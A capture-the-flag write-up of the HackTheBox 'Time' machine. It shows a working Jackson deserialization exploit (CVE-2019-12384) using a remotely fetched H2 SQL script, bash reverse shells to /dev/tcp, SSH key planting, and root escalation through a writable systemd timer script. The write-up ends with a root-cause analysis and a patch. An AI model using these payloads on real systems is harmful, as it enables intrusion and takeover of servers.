HackTheBox - Time

HackTheBox - Time

Time from HackTheBox features a web application that provides JSON beautifier and validator services. Inserting some invalid inputs exposes the application’s error message, indicating it uses the Jackson library. Searching for the error message on Google leads to a post about deserialization attack on Jackson. The attack is then reproduced to gain initial access. Enumerating on the system discovers a timer script that is executed by root every 10 seconds. The script is world-writable, allowing me to inject a malicious code and obtain a root shell.

Skills Learned

  • Deserialization Attack on Jackson (CVE-2019-12384)
  • Exploiting Systemd timers
  • Mitigation of CVE-2019-12384

Tools

Reconnaissance

Nmap

nmap discovers two open ports: SSH on port 22, and a HTTP web server on port 80.

→ root@kali «time» «10.10.14.19» 
$ mkdir nmap; nmap -sC -sV -oA nmap/10-initial-time 10.10.10.214 
Starting Nmap 7.80 ( https://nmap.org ) at 2021-05-08 07:29 EDT
Nmap scan report for 10.10.10.214
Host is up (0.069s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Online JSON parser
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.18 seconds

Enumeration

TCP 80 - Website

Visiting port 80 shows a website called “Online JSON Beautifier & Validator”.

image-20210508184016068

Clicking on the drop down menu, it provides two options: “Beautify” and “Validate (beta!)”.

image-20210508184059429

Testing Inputs

I submitted {"test": "iamf"} to the input box and clicked the “Process” button. As expected, the beautify option just a JSON beautifier like jq.

image-20210508184420130

I submitted the same input on “Validate (beta!)”, but this time it returns the following error.

Validation failed: Unhandled Java exception: com.fasterxml.jackson.databind.exc.MismatchedInputException: Unexpected token (START_OBJECT), expected START_ARRAY: need JSON Array to contain As.WRAPPER_ARRAY type information for class java.lang.Object

image-20210508184904577

I found this site while searching for the error message on Google. It turned out it wanted an array input, so I copied the sample input from that site and pasted it to the validator.

[ 
"org.baeldung.jackson.inheritance.Truck",
{ "make": "Isuzu", "model": "NQR","payloadCapacity": 7500.0 }
]

And now it returns a different error message.

image-20210508195850042

And that’s because it probably can’t find org.baeldung.jackson.inheritance.Truck since I made it up.

Finding Vulnerability

I might be able to inject the “org.baeldung.jackson.inheritance.Truck” with a java gadget class for deserialization attack, and after searching around about deserialization topics on Jackson, I found this two blog posts about Jackson RCE:

However, the post on Doyensec’s blog is newer (2019 vs 2017), so I dig into that blog. The researcher on that blog uses ch.qos.logback.core.db.DriverManagerConnectionSource as his gadget class, leveraging the alias feature from the H2 database to execute arbitrary code. This research is classified as CVE-2019-12384.

Below is the example payload used.

["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:8000/inject.sql'"}]

Foothold

Shell as pericles

Exploiting Jackson CVE-2019-12384

I will use the research from Doyensec’s blog above as my reference.

First, I will create a copy of the inject.sql file that is used by the researcher. I will also setup a Python web server to host the SQL file and a netcat listener to catch the request.

inject.sql:

CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
	String[] command = {"bash", "-c", cmd};
	java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
	return s.hasNext() ? s.next() : "";  }
$$;
CALL SHELLEXEC('id > /dev/tcp/10.10.14.19/9000')

Now I’ll use the following JSON payload and submit it to the validator.

["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://10.10.14.19/inject.sql'"}]

Within a few seconds, my Python web server receives a request for inject.sql, and my listener captures the output of the id command.

image-20210508204955144

Knowing this, I can weaponize the inject.sql file to send myself a shell, and then perform the same procedure as above.

Reverse Shell

Now with the following inject.sql,

CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
	String[] command = {"bash", "-c", cmd};
	java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
	return s.hasNext() ? s.next() : "";  }
$$;
CALL SHELLEXEC('bash -i >& /dev/tcp/10.10.14.19/9000 0>&1')

I can obtain an interactive shell.

→ root@kali «time» «10.10.14.19» 
$ nc -nvlp 9000            
listening on [any] 9000 ...
connect to [10.10.14.19] from (UNKNOWN) [10.10.10.214] 42496
bash: cannot set terminal process group (944): Inappropriate ioctl for device
bash: no job control in this shell
pericles@time:/var/www/html$ 

image-20210508205643332

Upgrade to SSH

With current access, I can put my public key to the authorized_keys file.

pericles@time:/home/pericles$ mkdir .ssh
pericles@time:/home/pericles$
pericles@time:/home/pericles$ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPmWTx2r3W2mHnCnKmoJCnkrj6mXxSIGq3E5ks1g+moK' > .ssh/authorized_keys

Now I can login as pericles with my SSH private key.

→ root@kali «time» «10.10.14.19» 
$ ssh pericles@10.10.10.214 
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-52-generic x86_64)

...[SNIP]...
  System load:             0.0
  Usage of /:              21.2% of 27.43GB
  Memory usage:            16%
  Swap usage:              0%
  Processes:               235
  Users logged in:         0
  IPv4 address for ens160: 10.10.10.214
  IPv6 address for ens160: dead:beef::250:56ff:feb9:a553

...[SNIP]...
Last login: Fri Oct 23 09:19:19 2020 from 10.10.14.5
pericles@time:~$ id
uid=1000(pericles) gid=1000(pericles) groups=1000(pericles)

Privilege Escalation

Shell as root

Internal Enumeration

While searching for files owned by pericles, I spotted a script called timer_backup.sh.

pericles@time:~$ find / -type f -user pericles 2>/dev/null |grep -v 'proc\|sys'
/usr/bin/timer_backup.sh
/dev/shm/payloadds9LXy
/home/pericles/.gnupg/trustdb.gpg
/home/pericles/.gnupg/pubring.kbx
/home/pericles/.bashrc
...[SNIP]...

The script is backing up the web directory to the root directory. Furthermore, the script is writable by others.

pericles@time:~$ cat /usr/bin/timer_backup.sh
#!/bin/bash
zip -r website.bak.zip /var/www/html && mv website.bak.zip /root/backup.zip
pericles@time:~$ ls -l /usr/bin/timer_backup.sh 
-rwxrw-rw- 1 pericles pericles 88 Apr 10 21:05 /usr/bin/timer_backup.sh

I searched other file related to the script, and found out there is a timer owned by root.

pericles@time:~$ find / -type f -name "timer_backup*" -ls 2>/dev/null
   795750      4 -rw-r--r--   1 root     root          214 Oct 23 06:46 /etc/systemd/system/timer_backup.timer
   787186      4 -rw-r--r--   1 root     root          159 Oct 23 05:59 /etc/systemd/system/timer_backup.service
  1317302      4 -rwxrw-rw-   1 pericles pericles       88 Apr 10 21:10 /usr/bin/timer_backup.sh

timer_backup.timer requires timer_backup.service,

pericles@time:~$ cat /etc/systemd/system/timer_backup.timer 
[Unit]
Description=Backup of the website
Requires=timer_backup.service

[Timer]
Unit=timer_backup.service
#OnBootSec=10s
#OnUnitActiveSec=10s
OnUnitInactiveSec=10s
AccuracySec=1ms

[Install]
WantedBy=timers.target

and what timer_backup.service doing is it restarts web_backup.service.

pericles@time:~$ cat /etc/systemd/system/timer_backup.service 
[Unit]
Description=Calls website backup
Wants=timer_backup.timer
WantedBy=multi-user.target

[Service]
ExecStart=/usr/bin/systemctl restart web_backup.service

web_backup.service executes the timer_backup.sh script which is owned by pericles.

pericles@time:~$ cat /etc/systemd/system/web_backup.service
[Unit]
Description=Creates backups of the website

[Service]
ExecStart=/bin/bash /usr/bin/timer_backup.sh

Exploiting timer_backup.sh

With writable access, I can put a bash reverse shell in timer_backup.sh, and then setup a nc listener.

pericles@time:~$ echo 'bash -i >& /dev/tcp/10.10.14.19/9002 0>&1' >> /usr/bin/timer_backup.sh 
pericles@time:~$ 
pericles@time:~$ cat /usr/bin/timer_backup.sh 
#!/bin/bash
zip -r website.bak.zip /var/www/html && mv website.bak.zip /root/backup.zip
bash -i >& /dev/tcp/10.10.14.72/9002 0>&1

Within a few seconds, I have a root shell on my listener, but the problem is that shell is somehow exited by itself.

→ root@kali «time» «10.10.14.19» 
$ rlwrap nc -nvlp 9002
listening on [any] 9002 ...
connect to [10.10.14.72] from (UNKNOWN) [10.10.10.214] 57648
bash: cannot set terminal process group (411032): Inappropriate ioctl for device
bash: no job control in this shell
root@time:/# 
root@time:/# exit

So I repeated the steps, but this time, I immediately injected my public key to the root’s authorized_keys file.

→ root@kali «time» «10.10.14.19» 
$ nc -nvlp 9002                          
listening on [any] 9002 ...
connect to [10.10.14.19] from (UNKNOWN) [10.10.10.214] 34182
bash: cannot set terminal process group (65312): Inappropriate ioctl for device
bash: no job control in this shell
root@time:/#  echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPmWTx2r3W2mHnCnKmoJCnkrj6mXxSIGq3E5ks1g+moK' > /root/.ssh/authorized_keys
<rj6mXxSIGq3E5ks1g+moK' > /root/.ssh/authorized_keys
root@time:/# exit

After that, I can login as root via SSH.

→ root@kali «time» «10.10.14.19» 
$ ssh root@10.10.10.214
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-52-generic x86_64)

...[SNIP]...
  System load:             0.0
  Usage of /:              21.2% of 27.43GB
  Memory usage:            16%
  Swap usage:              0%
  Processes:               235
  Users logged in:         0
  IPv4 address for ens160: 10.10.10.214
  IPv6 address for ens160: dead:beef::250:56ff:feb9:a553


...[SNIP]...
Last login: Tue Feb  9 14:41:33 2021
root@time:~# id
uid=0(root) gid=0(root) groups=0(root)
root@time:~# cut -c-16 root.txt 
27375f967f43232f

Explore

In this section, I’ll take a look into the vulnerable code that allows me to gain a remote code execution and try to patch it.

CVE-2019-12384

Causes

According to this site, in order to successfully exploit a Jackson deserialization vulnerability several conditions must be met.

image-20210509215030250

The first condition is fulfilled by the index.php file (/var/www/html/index.php). I have control on the user input.

<?php
if(isset($_POST['data'])){
        if(isset($_POST['mode']) && $_POST['mode'] === "2"){
                $filename = tempnam("/dev/shm", "payload");
                $myfile = fopen($filename, "w") or die("Unable to open file!");
                $txt = $_POST['data']; // Condition #1,  $txt controlled by user. no filter
                fwrite($myfile, $txt); 
                fclose($myfile);
                exec("/usr/bin/jruby /opt/json_project/parse.rb $filename 2>&1", $cmdout, $ret);
                unlink($filename);
                if($ret === 0){
                        $output = '<pre>Validation successful!</pre>';
                }
                else{
                        $output = '<pre>Validation failed: ' . $cmdout[1] . '</pre>';
                }
        }
        else{
                $json_ugly = $_POST['data'];
                $json_pretty = json_encode(json_decode($json_ugly), JSON_PRETTY_PRINT);
                $output = '<pre>'.$json_pretty.'</pre>';
        }

}
?>
...[SNIP]...

The second condition fulfilled by the parser itself (/opt/json_project/parse.rb). It uses “Default typing”.

require 'java'

Dir["/opt/json_project/classpath/*.jar"].each do |f|
      require f
end

java_import 'com.fasterxml.jackson.databind.ObjectMapper'
java_import 'com.fasterxml.jackson.databind.SerializationFeature'
f = File.read(ARGV[0])
content = f
puts content

mapper = ObjectMapper.new
mapper.enableDefaultTyping() # Condition #2, the uses of "default typing".
mapper.configure(SerializationFeature::FAIL_ON_EMPTY_BEANS, false);
obj = mapper.readValue(content, java.lang.Object.java_class) # invokes all the setters
puts "stringified: " + mapper.writeValueAsString(obj)

The third condition is fulfilled by logback-core-1.3.0-alpha5.jar as the gadget class and h2–1.4.199.jar for the RCE capability. According to this blog, the H2 database alias feature can be abused. The researcher of CVE-2019–12384 abuses the alias feature to embed Java code.

root@time:/opt/json_project# grep -Ri version
Binary file classpath/h2-1.4.199.jar matches
Binary file classpath/jackson-databind-2.9.8.jar matches
Binary file classpath/logback-core-1.3.0-alpha5.jar matches
Binary file classpath/jackson-core-2.9.8.jar matches

Mitigation

To mitigate this RCE, I’ll put the new mapper function on parse.rb:

require 'java'

Dir["/opt/json_project/classpath/*.jar"].each do |f|
      require f
end

java_import 'com.fasterxml.jackson.databind.ObjectMapper'
java_import 'com.fasterxml.jackson.databind.SerializationFeature'
java_import 'com.fasterxml.jackson.databind.MapperFeature' # ==> Mitigation v2.11 
f = File.read(ARGV[0])
content = f
puts content

mapper = ObjectMapper.new
mapper.activateDefaultTyping() # ==> Mitigation v2.10, enableDefaultTyping() to activateDefaultTyping() 
mapper.configure(MapperFeature::BLOCK_UNSAFE_POLYMORPHIC_BASE_TYPES); # ==> Mitigation v2.11 
mapper.configure(SerializationFeature::FAIL_ON_EMPTY_BEANS, false);
obj = mapper.readValue(content, java.lang.Object.java_class) # invokes all the setters
puts "stringified: " + mapper.writeValueAsString(obj)

I also write a dirty script to patch it as well as to revert the patch, so I can perform a quick test. The script is supposed to be executed from Time. The updated parser and the newer version of Jackson are hosted from my machine.

#!/bin/bash
# ./time.sh patch [ip]
project_path="/opt/json_project/"
new_jackson="jackson-core-2.11.0.jar"
old_jackson="jackson-core-2.9.8.jar"

if [ "$1" == "patch" ]; then
	# backup the original code
	mkdir -p /dev/shm/orig/
	mv $project_path"classpath/"$old_jackson /dev/shm/orig/
	mv $project_path"parse.rb" /dev/shm/orig/
	
	# These file hosted from my machine
	curl -s "http://$2/$new_jackson" > /tmp/$new_jackson
	curl -s "http://$2/parse.rb" >  /tmp/parse.rb
	
	# move the updated parser and jackson
	cp /tmp/$new_jackson $project_path"classpath/"$new_jackson 
	cp /tmp/parse.rb "$project_path"
	chmod +x $project_path"parse.rb"
	
elif [ "$1" == "restore" ]; then
	rm $project_path"classpath/"$new_jackson
	rm $project_path"parse.rb"
	
	mv "/dev/shm/orig/$old_jackson" $project_path"classpath/"
	mv "/dev/shm/orig/parse.rb" $project_path
	
	rm /tmp/$new_jackson 
	rm /tmp/parse.rb
	rm -r /dev/shm/orig/
	
fi

I tried exploiting the validator again by reproducing the same steps as in the Foothold section, but this time my reverse shell didn’t connect back, instead I got this message.

Validation failed: WARNING: An illegal reflective access operation has occurred

image-20210509210620009

Well, it is working, isn’t it?

References